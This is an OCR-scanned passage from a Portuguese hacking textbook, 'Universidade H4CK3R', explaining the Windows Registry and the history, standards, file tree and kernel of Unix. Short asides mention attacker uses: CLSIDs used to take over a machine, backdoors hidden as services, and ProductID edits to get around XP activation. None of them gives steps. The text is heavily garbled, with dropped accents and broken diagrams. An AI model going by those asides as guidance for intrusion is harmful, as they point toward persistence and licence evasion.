(interface grfica com o usurio) tambm so definidos nela. Para remover uma associao, basta excluir a chave com a extenso do arquivo. Este Root Key falso: na verdade, uma subchave de HKEY _LOCAL_MACHINE. ~ HKEY_CURRENT_USER - Contm as informaes do usurio que est atualmente usando o sistema. Tambm um Root Key falso: na verdade um atalho para uma subchave na seo HKEY_USERS. Quando o usurio d logout, todas as configuraes de desktop, menu Iniciar,login e senhas de HKEY_CURRENT_USER so salvas na chave exclusiva do usurio em HKEY_USERS. ~ HKEY_LOCAL_MACHINE - As informaes usveis por todos os usurios indiscriminadamente esto nesta seo, incluindo hardware e seus drivers, software instalado e sua configurao e preferncias globais em geral. ~ HKEY_USERS- Aqui vo as preferncias individuais de cada usurio, que representado por uma subchave CLSID.Quando o usurio se "Ioga"no sistema, suas preferncias e configuraes so copiadas daqui para HKEY_CURRENT_USER. Quando o usurio d "logout" - e aparece aquele dilogo dizendo "Salvando suas configuraes" ou "Saving your settings" -, o sistema est na realidade copiando o contedo de HKEY_CURRENT_USER de volta na chave privada do usurio em HKEY_USERS. Uma maneira fcil de voltar as configuraes do usurio ao padro do sistema apagar sua chave neste Root Key. ~ HKEY_CURRENT_CONFIG - Semelhante a HKEY_CURRENT_USER.Antes de serem salvas, as alteraes no registro referentes instalao de hardware e software esto guardadas neste Root Key,que na verdade apenas um atalho para uma subchave em HKEY _LOCAL_MACHINE. ~ HKEY_DYN_DATA- Mais um Root Key falso: aponta para outra subchave de HKEY _LOCAL_MACHINE. Dispositivos Plug and Play usam esta seo para armazenar suas configuraes durante a instalao. Como o prprio nome diz, esse Root Key dinmico e ser alterado sempre que dispositivos de hardware forem instalados ou removidos do sistema. Sistemas da famlia WinNT (incluindo Windows 2000 e Windows XP) no possuem este Root Key,embora a chave dentro de HKEY _LOCAL_MACHINE ainda exista. Todas as chaves e subchaves possuem um valor padro e podem possuir um ou mais valores modificveis. O que chamamos de valor na realidade uma dupla formada por um nome que o identifica e um dado a ele associado. Um duplo clique em qualquer um dos valores permite edit-Ios.No necessrio "salvar" as alteraes: o prprio RegEdit se encarrega de faz-Io automaticamente ao ser fechado.

CLSIO?
Algumas chaves e valores possuem um cdigo completamente ilegvel chamado CLSID.Acrnimo para Class Identifier, os CLSIDsso uma seqncia de letras
8 Classes so entidades "c1onveis" que encerram dentro de si valores variveis e constantes e rotinas chamadas de mtodos. Para mais informaes, consulte os apndices sobre programao disponiveis no CD.

1791
I

Plataforma

Windows

I Universidade

H4CK3R I

e nmeros, nicos no sistema, que identificam cada um dos componentes COM existentes. Um exemplo de CLSID {172BDDF8-CEEA-llDl-8B0500600806D9B6}. Complicado, no? Component Object Models ou COMsso meios de controlar o Wmdows atravs de scripts simples. O sistema usa o modelo cliente/servidor:h programas que oferecem servios COM para que aplicaes-cliente possam usar.As aplicaes-cliente so os scripts criados pelo usurio. Os servidores COM disponibilizam os mtodos (rotinas que fazem aJgumacoisa) e variveispor meio de c1asseS8. Cada uma das classesexistentes no Wmdows possui um identificador nico chamado ClassIdentifier ou CLSID. Um servidor COM muito conhecido dos programadores o Microsoft Word. possvel usar um objeto do Word em outras aplicaes por meio do CLSIDdesse objeto. Outros servidores COM muito usados so o Internet Explorer (a base do Windows) e o Outlook Express. possvel controlar diversos aspectos do Wmdows simplesmente associando CLSIDsa chaves no Registro. Assim como os programadores o fazem para facilitar sua vida, os hackers usam os CLSIDsno documentados para criar meios de "tomar" sua mquina em uma invaso. Por meio dos CLSIDs possvel usar os prprios mecanismos do Windows para estabelecer uma comunicao entre o computador invadido e o invasor, sem a necessidade de um cavalo de tria muito elaborado. Com esses fundamentos j possvel dissecar as entranhas desse ente misterioso. Os autores acreditam que seria possvel implementar CLSIDs com nomes mais legveis, mas a Microsoft no s elaborou o padro dessa forma obscurantista como no divulgou muitas informaes a respeito. Apesar disso, algumas informaes sobre CLSIDs, COM e o Registro podem ser encontradas no TechNet (www.microsoft.com/technet). Foge ao escopo deste livro analisar com profundidade todos os aspectos do Registro e seus CLSIDs, embora seja obrigao de todo candidato a hacker ir atrs desses conceitos.

Um pouco de graxa nos cotovelos...


De todo o Registro do Windows, a seo mais interessante , realmente, a HKEY_LOCAL_MACHINE. Usando o RegEdit,navegue at essa Root Key e observe atentamente suas chaves. As descries abaixo servem para a famliaWinNT foram retiradas de um Windows XP Professional. A Famlia Win9x possui algumas diferenas, embora seja muito semelhante na maioria dos elementos. A chave System contm trs chaves ControlSet (no Wm9x, apenas uma), mais as chaves LastKnownGoodRecovery (que aponta para o melhor ControlSet em caso de pane), Mounted Devices (que lista todos os dispositivos de disco e de rede em uso), Select (com configuraes padro) e Setup (com informaes sobre a instalao do Windows). As chaves ControlSetOOl e ControlSetOO2 existem apenas na famlia WmNT e so backups de configuraes anteriores. Uma delas ser utilizada se, durante o boot, for escolhida a opo "Revert to last known

180 I
Plataforma Windows [

Universidade

1 ano

good configuration" ou "Usar ltima configurao funcional". A chave CurrentControlSet existe em todas as famlias Windows e a que efetivamente abriga a configurao atual de seu computador. dividida em quatro sees: ~ A Control contm as configuraes do Painel de Controle. Na realidade, o Painel de Controle meramente um front end para essa chave. ~ A chave Enum contm informaes a respeito de todas as interfaces de I/O do computador, como USB,IDE e PCI.Normalmente no se deve "bulir" com essa chave, mas hackers experientes podem us-Ia para auxiliar no controle do computador invadido, forar uma vulnerabilidade ou plantar alguma bomba-relgio. ~ A Hardware Prof1les guarda as configuraes de hardware da mquina. O Windows permite que vrias configuraes de hardware diferentes possam ser usadas na mesma instalao, e elas so guardadas aqui. Para excluir uma configurao de hardware, basta excluir a subchave correspondente. O perfIl de hardware sendo usado est contido em Current. Hackers mal-intencionados podem alterar ou excluir as subchaves e deixar a mquina desconfigurada. ~ Por fIm, a Services contm dados sobre todos os servios que esto sendo executados. nessa seo que os drivers de dispositivo, as bibliotecas de vnculo dinmico (DLL) e os mdulos de virtualizao do kernel (VxD) so carregados. VxDs so, na realidade, referncias a grupos de arquivos com extenso SYS. Na chave Services tambm so armazenados os parmetros que devem ser passados aos VxDs e s DLLs quando so chamadas. Na prtica, todos os servios que o Windows conhece (estejam rodando ou no) esto armazenados em subchaves dentro de Services, incluindo servios de comunicao e redes. Isso signifIca que apagar uma chave dessas signifIca esconder do Windows a existncia de tal servio ou programa mesmo que ainda esteja fIsicamente instalado no HD! O administrador de sistemas pode simplesmente excluir daqui uma configurao de redes que esteja dando problemas. E o hacker, por sua vez, pode implementar seus backdoors como servios nessa chave. Ainda em HKEY_LOCAL_MACHINE, a chave HARDWARE contm atalhos para outras partes do registro que possuam informaes sobre o hardware instalado. composto pelas chaves ACPI (dados do fabricante da mquina), DESCRIPTION (dados sobre processador e memria), DEVlCEMAPS (configurao de dispositivos de E/S) e RESOURCEMAPS (configurao dos recursos do Windows). De todas as chaves de HKEY _LOCAL_MACHINE, talvez a mais importante para nosso estudo seja a seo SOFfWARE.Observe a organizao por fornecedor. A chave de cada fornecedor - por exemplo,Adobe, StarDivision, Microsoft - encerra as informaes globais para todos os aplicativos de um mesmo fabricante, incluindo rastreamento de verses, instrues para atualizao e desinstalao, pastas de instalao, de trabalho e de origem. Algumas variveis de sistema tambm so mantidas a, como, por exemplo, a chave Classes, que contm as associaes de arquivo. O Root Key HKEY_CLASSES_ROOT , na verdade, apenas um atalho para HKEY_LOCAL_MACHINE\SOFTWARE\Classes.
I

81

] Plataforma

Windows

I Universidade

H4CK3R

o tesouro
Cada fabricante tem sua prpria subchave, e a Microsoft, sendo tambm uma desenvolvedora de software, possui uma subchave em HKEY_LOCAL_MACHINE\ SOFIWARE. A diferena que, sendo a desenvolvedora do sistema, colocou ali tudo o que poderia ser necessrio para a configurao e integrao com outros produtos Microsoft. Portanto, no h aqui apenas infonnaes sobre os programas Microsoft instalados, como oWord ou o Excel.Muitas infonnaes que podem ser usadas pelos servios de BackOffice, bem como a maioria dos servios Microsoft, possuem chaves aqui. Infonnaes sobre DIls, controles e plug-insActiveX, o Microsoft Installer (MSI) e a localizao das mdias de instalao, entre outras coisas, tambm possuem entradas sob a chave Microsoft. Como exerccio antes de prosseguir, coloque o livro um pouco de lado e pesquise bastante em todas as subchaves abaixo da chave Microsoft. Entre em uma por uma, verifique seus nomes e subchaves, verifique o contedo (nome/ dado) dos valores. Observe que h chaves que possuem vrios valores em um nvel, mesmo este tendo subchaves de nvel mais baixo. No altere nada! Apenas observe e deixe a chave Windows para o lmal. Pronto? timo! Vamos olhar com mais ateno a chave Windows. Nela h trs chaves: Current Version, ITStorage e Shell. A ITStorage e Shell no tm muita utilidade em sistemas isolados, mas a Current Version possui muitas informaes interessantes. Observe os valores da prpria chave. Entre eles temos o ProductID (que, no Wmdows XP, , importantssimo para a ativao - e um dos valores alterados pelos crackers para burl-Ia) e os caminhos para os componentes primrios do Wmdows, como o local onde esto os arquivos de programas. Alm desses valores, a chave Current Version abriga centenas de subchaves. Algumas so fceis de entender, como a chave Explorer\Tips, que contm as "dicas do dia". possvel alter-Ias para colocar outras dicas ou mesmo incluir mais valores com novas dicas. Outras subchaves so mais hermticas. A subchave Installer, por exemplo, abriga dados relativos ao Microsoft Installer (MSI), mas faz uso dos indecifrveis valores CSLID.Navegue um pouco por essas duas chaves e s retome a leitura do livro quando tiver uma viso geral do fimcionamento de ambas. Com esses fimdamentos entendidos, o Registro do Wmdows j no deve ser mais um mistrio to obscuro para o leitor. Como "tarefa para casa", sugerimos o estudo (com o RegEdit) das seguintes chaves: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\ - App paths

182 I
Plataforma Windows [

Universidade,o

ano

Control panel Controls Folders Explorer Installer policies Run (programas carregados em todos os boots) RunOnce (programas carregados s urna vez) - RunOnceEx (programas carregados s urna vez e depois excludos) - Setup - SharedDLLs (MUITO importante!) - Unins tall

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices HKEY_LOCAL_MACHINE\SYSTEM\Setup

Lembrando sempre de que tomamos como ponto de partida o Registro do Wmdows XP.Se o leitor possui outra verso do Windows, ser interessante tambm procurar pelas mesmas chaves nela para conhecer as diferenas e semelhanas.

Where to, buddy?9


Em um livro como este no h espao para se aprofundar mais. Felizmente, a Internet oferece alguns recursos para quem quer ou precisa conhecer mais sobre a estrutura dos sistemas operacionais da Microsoft. Um bom ponto de partida o TechNet (www.microsoft.com/technet). site da Microsoft dirigido a tcnicos e programadores. Na pgina principal, h links para as tecnologias mais atuais da empresa, como o Windows XP e a plataforma .NET.Entretanto, possvel usar os mecanismos de busca do prprio site para encontrar qualquer informao sobre qualquer produto. Com um pouco de pesquisa possvel conhecer, por exemplo, detalhes da estrutura interna do kernel do Windows 98 ou diferenas entre os registros do Windows 95 e do Windows NT. Mesmo as especificaes de coisas muito antigas, como o MSDOS e o LAN Manager, podem ser encontradas. Preferimos o site americano e no o brasileiro devido velocidade de atualizaes, embora esteja em ingls. Outros sites em que podem haver informaes sobre plataformas Microsoft so o site principal da empresa (www.microsoft.com). o Winguides (www.winguides. com) e o TechRepublic (www.techrepublic.com). No deixe de visit-Ios. H muitas informaes reunidas apenas nesses sites.

9 Quem jogava arcade games no final dos anos 80 certamente reconhece de que jogo estamos falando, infelizmente no podemos dar mais nenhuma

essa frase. Se ainda no descobriu pista. Har bar bar bar bar ...

1831

] Plataforma

Windows

Plataformas

nlx

Captulo

'Subi talvez s mximas alturas, Mas, se hoje volto assim, com a alma s escuras. necessrio que inda eu suba mais!"

Augusto dos Anjos, "Solilquio de um visionrio" do livro Eu e outros poemas - 1912

! Universidade H4CK3R I

No fomos ns que dissemos, mas sim a Netcraft (www:netcraft.com): 66% dos servidores Web na Internet rodam algum tipo de Unix. Essa maioria esmagadora de sites que prestigiam o veterano sado dos laboratrios da AT&T na dcada de 60 no o faz toa. Enquanto nas mquinas desktop (aquelas que voc usa em cima de sua escrivaninha, no trabalho ou em casa) o Microsoft Windows considerado o padro de fato, em servidores para Internet no h muita discusso em torno do sistema operacional a ser usado. a Unix um sistema com mais de 30 anos de estrada. Robusto, leve e portvel, vem sendo lapidado desde seu lanamento em 1969 e, apesar de j ser bem antigo, est sempre afinado com as novidades tecnolgicas. Por ser o sistema mais usado, tambm o sistema mais atacado. a fato de funcionar como o motor de dois teros dos sites do mundo e mesmo assim ser muito menosinvadido do que qualquer um dos adversrios mostra a confiabilidade desses sistemas. A contrapartida que, por ser assim to confivel e poderoso, tambm o sistema operacional mais usado para originar ataques, qualquer que seja o alvo.

o modeloUnix de sistemas operacionais


interessantssimo o poder da mdia. Quando se fala em A Bela e a Fera, ningum lembra do filme de Cocteau, considerado uma das obras-primas do cinema francs. Muito menos de Jeanne Marie Leprince de Beaumont, pesquisadora que no sculo 18 coletou diversos contos medievais sobre o tema e os reuniu, costurando a histria que conhecemos hoje. Pelo contrrio, as pessoas s se lembram do desenho animado recentemente lanado por um grande estdio norte-americano... Em se tratando de sistemas operacionais temos o mesmo problema. Na lembrana de todos, apenas os sistemas mais novos prevalecem, mesmo sendo menos otimizados ou menos preparados para servios de rede e misso crtica. Apesar disso, ao redor do globo milhes de administradores de rede se utilizam de alguma variante Unix para resolver problemas que outras plataformas nem sonham enfrentar. as sistemas Unix podem ser considerados tanto belas quanto feras. A Internet no existiria sem os sistemas Unix - alis, a Internet foi criada para interligar APENASsistemas Unix... At hoje, como os dados da Netcraft podem comprovar, a maioria dos servidores Web do mundo emprega alguma variante de Unix, e h esforos para que sistemas Unix ou similares sejam utilizados em estaes de escritrio ou mesmo em dispositivos mveis, como celulares e palmtops. H muita beleza nos sistemas Unix. Sua estrutura rgida e bem montada parece aos olhos dos seus usurios quase que como maravilhosos poemas. a poder de fogo que esse sistema d a quem o domina chega a ser inebriante. Por sua origem em laboratrios de pesquisa como ambiente de desenvolvimento, o Unix possui diversas ferramentas para administradores de sistemas e redes e para
Unix r

86

Plataforma

Universidade 1ano

programadores. Tambm por essa origem, h uma enorme e fraternal comunidade de usurios que trocam experincias e se ajudam mutuamente. As grandes empresas que fabricam ou oferecem solues baseadas em Unix formaram um consrcio e definiram diversos padres que garantem interoperabilidade e conectividade. O Unix considerado, exatamente por isso, um sistema abertol. Sim, o Unix belo. Mas belo como um grande felino. Dom-Io requer treinamento, persistncia e um pouquinho de coragem. O conhecimento para dominar nossa fera no "rocket science", entretanto. As pessoas sentem-se amedrontadas pela quantidade de ferramentas disponveis ou pela prpria linha de comando. As interfaces grficas, apesar de no serem "toscas" como nos primeiros tempos, so diferentes das que a maioria dos usurios est acostumada. Por fim, h vrios "sabores" diferentes de Unix a escolher. Cada qual tem seus atrativos, mas tambm tem suas dillculdades e... Espere a! Sabores?

Apenas um jogo de computador...


Em 1963, o MIT, os laboratrios da Bell (empresa de telecomunicaes estadunidense, subsidiria da gigante telefnica AT&T) e a General Electric Company uniram-se para criar um sistema operacional revolucionrio. Obviamente baseado nos computadores GE, o projeto tinha como objetivos: ~ Ser multiusurio; ~ Ser multitarefa; ~ Oferecer grande capacidade de armazenamento para dados e programas; ~ Permitir compartilhamento de dados entre usurios e grupos. O sistema foi batizado de MULTICS,numa referncia s suas capacidades multiusurio e multitarefa. Aps quatro anos de desenvolvimento em um GE-645, o MULTICSde 1969 estava muitssimo aqum dos objetivos propostos. Nesse mesmo ano, os Bell Labs decidiram sair do projeto. Frustrados com a interrupo de seus esforos e desejosos de possuir um sistema que realmente atendesse aos propsitos iniciais do MULTICS, alguns desenvolvedores dos BellLabsresolveram, secretamente, iniciar o desenvolvimento de outro sistema operacional. Um desses desenvolvedores era Ken Thompson, que no queria mais usar o GE-645 com MULTICSque havia ficado nos Bell Labs para brincar com seu joguinho preferido. O Space Travels rodava muito mal no MULTICS, e cada partida custava AT&T aproximadamente 75 dlares. Thompson decidiu ento portar seu jogo para outro computador que estava "dando sopa" no laboratrio, um PDP-7tambm da DEC. Mas o sistema operacional do PDP-7 no era muito flexvel, ento Thompson comeou a escrever rotinas de apoio para seu joguinho. No perodo de um ano, ainda em 1969, as "mandracarias" de Thompson tornaram-se a primeira verso do sistema operacional Unix, total1 Aviso aos mais radicais: quando falamos em sistemas abertos, sobre software livre e cdigo aberto uma outra histria... falamos de padres abertos. A discusso

1871
I

Plataforma

Unix

I Universidade

H4CK3R

mente escrita no Assembler do PDP-7.Para convencer seus superiores nos Bell Labs da seriedade do projeto, apresentaram-no como um futuro sistema para processamento de textos, o que posteriormente evoluiu para um sistema operacional de uso geral.A palavra Unix2 era um trocadilho com o nome do MULTICS3. Apenas em 1971 o Unix seria considerado um sistema operacional acabado. At esse ano, muitas tecnologias foram desenvolvidas para que o "beb-ux" viesse ao mundo. Uma delas foi a linguagem C, desenvolvida por Dennis Ritchie a partir da linguagem B de Thompson. O Unix foi totalmente reescrito em C e pde, com isso, ser portado para qualquer mquina: bastava recompil-Io. O conceito de portabilidade o maior trunfo do Unix at hoje e abriu novos horizontes para a computao. Em 1977, o Unix foi lanado como sistema operacional comercial e, de l para c, vem equipando sistemas to diversos como dispositivos de mo e supercomputadores Cray. Neste livro, usamos a palavra Unix indiscriminadamente referindo-nos a qualquer variao ou "sabor" dos sistemas baseados no Sing1e Unix Specification, que engloba os padres POSIX,XPG4 e ANSI C. Outros autores usam as nomenclaturas *nix, u*ix e Unix-like. Unix marca registrada do The Open Group (www.unix-systems.org). "Similares a Unix" indica sistemas que se parecem com um Unix, mas no o so oficialmente (como o GNUlLinux e o FreeBSD).

POSIX
Os trs documentos que formam o superconjunto Single Unix Specification aplicam-se a partes diferentes do sistema. ANSI C o padro para a linguagem de programao recomendada para o desenvolvimento de sistemas Unix e pode ser encontrado em (www.ansi.org). J o XPG4 o padro para implementao do servidor X, o programa central para aplicaes grficas em Unix. Informaes sobre a especificao, o servidor X e o X Consortium podem ser obtidas em (www.x.org). Mas h um mais importante que os outros dois. Todo Unix que se preze deve, obrigatoriamente, aderir ao POSIX, um padro mantido por vrias entidades: IEEE e Open Group, nos Estados Unidos, e ISO/IEC, na Europa. Ele define as chamadas de sistema, ou seja, as mensagens e sinais que os processos vo trocar entre si. Podem ser comparadas s mensagens do Windows que vimos no captulo anterior, mas as system calls do Unix so muito mais numerosas, especializadas e modulares.
2 No h espao aqui para contar toda a interessantssima histria do Unix. Um dos melhores documentos sobre os primeiros dias, escrito por Dennis Ritchie, pode ser encontrado no endereo cm.bell-labs.com/cm/cs/who/dmr/hist.htmI. Alm de curiosidades histricas, so descritos os fatos que levaram o Unix a se parecer com o que hoje. 3 No pense que o MUL11CSmorreu em 1969! Seu desenvolvimento continuou e a GE (depois comprada pela Honeywell e, mais recentemente, pela BulI) utilizou-Q como um de seus sistemas principais por muitos anos. O ltimo sistema MUL11CSainda em 1imcionamento foi oficialmente desativado em 31 de outubro do ano 2000. Para saber mais sobre MUL11CS, visite o site dos aficionados: www.multicians.orl!. Um ensaio sobre o quanto o Unix foi inspirado no MULTICS pode ser visto em www.muIticians.orl!/unix.htmI.

188 I
Plataforma Unix r

Universidade 1ano

Dezenas de sabores sua escoLha


Talvez o leitor soubesse a que nos referamos quando dissemos que o Unix era um sistema operacional aberto. Mais ainda, quando citamos que havia diversos "sabores" disponveis. Mas Unix um sistema operacional e no um sorvete. Que negcio esse de "sabor"? Sendo um padro aberto, o Single Unix Specification permite que vrios fabricantes possuam a sua prpria implementao. Mesmo sendo extremamente diferentes em alguns casos, ainda so considerados Upices porque aderem ao padro Unix-98 (a ltima verso do Single Unix Specification). Com efeito, podemos citar alguns desenvolvedores de software que possuem verses do sistema: ~ Sun Microsystems, com seu Solaris; ~ IBM,com o AIX; ~ SGI e o IRIX; ~ BSDi com a implementao BSD e a verso gratuita FreeBSD; ~ Hewlett-Packard e seu HP-UX; ~A prpria Microsoft e o fmado Xenix; ~A famlia GNUlLinux. Citamos apenas os mais conhecidos. Existem muitas outras implementaes Unix, comerciais ou no. O que chamamos de "famlia GNUlLinux" um conjunto de centenas de distribuies diferentes desse sistema operacional de cdigo aberto, cada uma delas com suas prprias idiossincrasias. Por que essa confuso? Na dcada de 80, quando vrias implementaes comerciais comearam a ser desenvolvidas, cada fabricante acabou criando seus prprios padres e "puxando a sardinha para o seu lado". Os Unices tornaramse to diferentes entre si que acabaram no sendo interoperveis. Uma rede heterognea era impossvel na poca, e hoje o padro Unix-98 tenta derrubar essas diferenas.

As entranhas da fera
Todas as recomendaes que j demos no captulo anterior valem para este tambm (e para todos os subseqentes - repetiremo-Ios diversas vezes, quase que como uma lavagem cerebral...). Todo hacker que se preze deve conhecer sistemas Unix, mesmo que os odeie. possvel que, depois da leitura deste captulo, antigos detratores desse decano mudem de religio e passem a rezar na igreja de Ken Thompson. Mas, convencido ou no, os sistemas Unix certamente faro parte de sua vida de ciberativista.

1891
I

Plataforma

Unix

I Universidade

Estrutura Os sistemas operacionais da fan1iaUnix podem, para fins didticos, ser divididos em partes classificadas por funo: kemel (ceme ou ncleo), shell (concha ou casca) e programas do usurio (aplicativos e ferramentas). Como essa abordagem muito parecida com a prpria definio de sistema operacional , podemos usar uma simplificao do diagrama em camadas para demonstr-Io. Essestrs grandes componentes se utilizam de uma estrutura fsica universal chamada de sistema de arquivos.Antes de entrar em detalhes sobre shell, system calls, processos e kemel, vamos mergulhar um pouco nessa infra-estrutura sobre a qual todos os Unix so montados. So necessrios alguns fundamentos e comandos do shell para percorr-Io. Caso tudo isso seja muito novo para voc, consulte o apndice E,"B--b do Unix".

Sistema de arquivos o Microsoft


Windows possui uma estrutura bsica de diretrios. Entretanto, ela existe como conseqncia da estruturao do sistema, no como causa. Os arquivos de sistema relevantes esto frouxamente organizados no diretrio Windows (ou WinNT) e subdiretrios dentro dele. Mesmo as partes do kemel esto dispostas em arquivos separados, misturados com outras centenas de arquivos dspares jogados dentro de C\WlNDOWS. O grande agente aglutinador do sistema operacional microsoftiano o Registro do sistema4.

4 Lembrando que o Registro dos sistemas Windows fisicamente gravado em diversos arquivos, e que cada verso possui um conjunto diferente deles. Quando falamos em organizao do Registro aqui, estamos nos referindo organizao lgica, aquela que apresentada ao usurio quando ele abre o Editor de Registro e que comum a todas as verses do sistema.

'

Plataforma Unix I

Universidade 1 ano

Os Unix, por outro lado, so estruturados justamente a partir do sistema de arquivos. Qualquer coisa que possa ser manipulada no sistema tratada como um arquivo. Isso inclui dispositivos de hardware (como sua placa de som ou a porta de impressora), os processos em execuo e, obviamente, os arquivos comuns. possvel, por exemplo, copiar um MP3 para dentro do arquivo correspondente sua placa de som: como por mgica, a msica soar nos alto-falantes. Os arquivos ligados aos processos em execuo podem ser usados para controllos. Ler esses arquivos normalmente nos permite ter acesso a informaes sobre o processo; e, grosso modo, podemos escrever neles para mandar mensagens ao processo. No h indicao no padro POSIX a respeito da organizao hierrquica de diretrios: sistemas de arquivos Unix seguem um padro tcito e no oficial. H diversos documentos e proposies tcnicas a respeito, como o File Hierarchy Standard (www.pathname.com/fhs). mas nenhuma desenvolvedora comercial de Unix obrigada a segui-los.A nica exceo so os sistemas GNU/Linux, que possuem uma padronizao especfica e rgida para isso na Linux Standard Base (www.1inuxbase.org). Mesmo no havendo um documento oficial, h um consenso na distribuio de diretrios em um sistema Unix. Exceto por diferenas muito sutis, a "rvore" de diretrios de qualquer sabor de Unix se parece com esta. A hierarquia de diretrios , na verdade, um superconjunto ou unio das principais estruturas dos "sabores" mais comuns. Em alguns sitemas, por exemplo, no temos o /proc; em outros, o /dev existe, mas possui outro nome; e a organizao abaixo de !lib, /usr e /var tambm varia entre os diversos tipos de Unix. Mas o "esqueleto" basicamente esse, e a partir dele muito fcil descobrir e entender as diferenas de um sistema em especial. O diretrio principal, aquele que contm todos os outros, chamado de raiz, apesar de estar no topo da estrutura5. representado por um sinal de barra (I) - no confundir com a barra invertida (\) usada no Windows - e qualquer arquivo ou diretrio referenciado a partir dele. Por exemplo, o diretrio tmp deve ser representado como /tmp. Um arquivo qualquer dentro do diretrio /tmp seria encontrado se dssemos o endereo completo: /tmp/arquivo. Cada um dos diretrios possui uma funo especfica: ~ Ibin: ferramentas necessrias para a operao do sistema; ~/sbin: ferramentas do administrador necessrias para a operao e manuteno do sistema - o "s" de superuser; ~ /dev: cada dispositivo de hardware instalado possui um arquivo neste diretrio; ~/etc: os arquivosde configurao do sistemae dos programas esto neste diretrio;
5 Considere que nossa estrutura uma rvore invertida (galhos no cho e raizes ao cu) e a visualzao flcar fcil.
191 I

] Plataforma

Unix

Universidade H4CK3R

/ bin dev etc home lib mnt proc sbin tmp usr bin doc etc include lib local man sbin share src var
192 I Plataforma Unix

~ /home: cada usurio cadastrado no sistema possui um diretrio com seu nome em /home - esta a nica rea de disco que a maioria dos usurios est autorizada a utilizar para gravar seus arquivos; ~/lib: as bibliotecas de funes do sistema esto aqui - considere-as como as "DLLs"do Unix; ~/mnt: diretrio usado para conexo a volumes presentes em outros computadores da rede ou para acessar dispositivos removveis, como disquetes, fitas magnticas e CDs; ~/proc: arquivosrepresentando os processos em execuo; ~ /tmp: espao para arquivos temporrios gerados pelos programas ou pelos prprios usurios; ~/usr: os aplicativos do usurio esto instalados abaixo de /usr; ~ /var: informaes variveis do sistema (spool de impressora, caixas postais, cache de Internet, log do sistema, etc.). o diretrio /usr muito importante. Praticamente tudo o que os usurios vo utilizar est nele. Mas por que esse diretrio existe? No seria mais fcil colocar tudo em Ibin? Normalmente, o Ibin e o /sbin contm apenas os programas estritamente necessrios para que o computador funcione e possa dar boot ou ser reparado. No /usr esto guardados o restante dos programas dos usurios (ferramentas, editores de texto, navegadores de Internet e ambientes grficos) bem como a documentao do sistema e os arquivos compartilhados. O /usr pode estar na mesma partio do Ibin e do /sbin. Mas tambm pode estar em outra partio, que s acessada pelo sistema depois que o Unix termina sua inicializao. O /usr pode ainda estar em uma mquina centralizada na rede, que exporta um /usr comum a todas as estaes Unix. Com isso, o administrador tem de instalar programas apenas uma vez em vez de faz-Io em cada um dos computadores Unix sob sua superviso. O /usr quase um "mini-root": contm seus prprios bin, sbin, lib, etc., que so, respectivamente, os diretrios de programas comuns do usurio, ferramentas do superusurio, bibliotecas de funes dos programas abaixo do /usr e arquivos de configurao dos programas abaixo do /usr. Alm disso, possui diretrios s encon-

Universidade 1 ano

trados nele. A dupla /usr/include e /usr/src presta-se para a compilao de programas a partir do cdigo-font. O /usr/doc guarda uma gama varivel de documentos sobre o sistema e os programas instalados. J o /usr/man encerra a documentao oficial do sistema, as chamadas man pages. O /usr/share possui qualquer tipo de arquivo (imagens, sons, configuraes) que deve ser compartilhado por todos os programas e usurios. Por fim, o diretrio /usr/local um "mini /usr". Possui uma estrutura de diretrios praticamente idntica ao /usr. Serve para que programas locais possam ser instalados em computadores que possuam o /usr em outra mquina na rede. Apesar de /usr ter a possibilidade de ser um "drive de rede", o /usr/local continua sendo armazenado localmente no HD. Vasculhe seu sistema Unix antes de prosseguir. No se preocupe - se voc no for o superusurio e usar somente os comandos no-destrutivos como cd, ls e cat, no h possibilidade de "estragar" nada. Depois de faz-lo, v para casa, se arrume e saia, como fez no captulo anterior. Ou antes, largue este livro e pegue Crime e Castigo, de Dostoivski. Ou v tocar flauta doce. Mas relaxe e no pense em Unix at amanh.

o cerne

da questo

O kerne1 cria processos toda vez que pedimos ao sistema operacional para rodar um programa. Alm de cri-los, o kernel cuida para que eles colaborem entre si e no se destruam mutuamente, e tambm gerencia os recursos (memria, CPU, perifricos) que cada processo utiliza. Compare o diagrama da prxima pgina com o do captulo anterior. Pode-se ver claramente que a imp1ementao Unix difere radicalmente de sua equivalente Windows. Enquanto o sistema da Microsoft utiliza o conceito de microkerne1

apenas as funcionalidades bsicas esto no kerne1 e h diversos subsistemas rodando em user mode -, no Unix tudo est embutido num ncleo monoltico. Mesmo em implementaes cujo kerne1 modular, os mdulos tambm rodam em kerne1 mode. Apenas os processos dos programas e servios (daemons) rodam no espao do usurio.

6 o dretrio /usr/include armazena os cabealhos com os prottipos das funes em C presentes nas bibliotecas /lib e /usr/lib, enquanto o /usr/src recebe o prprio cdigo-fonte a ser compilado.

1931
I

Plataforma

Unix

I Universidade

H4CK3R I

---------------------User Mode Kernel Mode

Interfacede servio

J
FileSystem

J
Gestode memriae Input/Output
"o DOPro

Hardware

Os processos comunicam-se com o keme1por meio de chamadas de sistema ou system


ca11s(a "interface de servios"
I

Programas

Bibliotecasde Sistema

mostrada no diagrama). As system ca11s interagem com os componentes do SO por meio do sistema de arquivos (no se esquea: em Unix tudo arquivo). Por ele, o keme1 controla o hardware, os arquivos do usu-

Usurio Sistema

f
Systemcall1nterface

!
Controlede Processos
Comunicao entre processos Scheduler

rio e os prprios processos, que so objeto de um escalonamento ou scheduling para definir as prioridades, a ordem de execuo e a interao entre eles. Como o hardware tambm tratado pelo sistema de arquivos, o ncleo dos sistemas Unix nada mais do que um supergerenciador inteligente de arquivos.

;.Caracter

Oriented Oriented. D.~y.!!t~.Q.ril,l~nL..

Gesto de memria

Controle de Hardware Sistema Hardware

1941
Plataforma Unix

Universidade 1ano

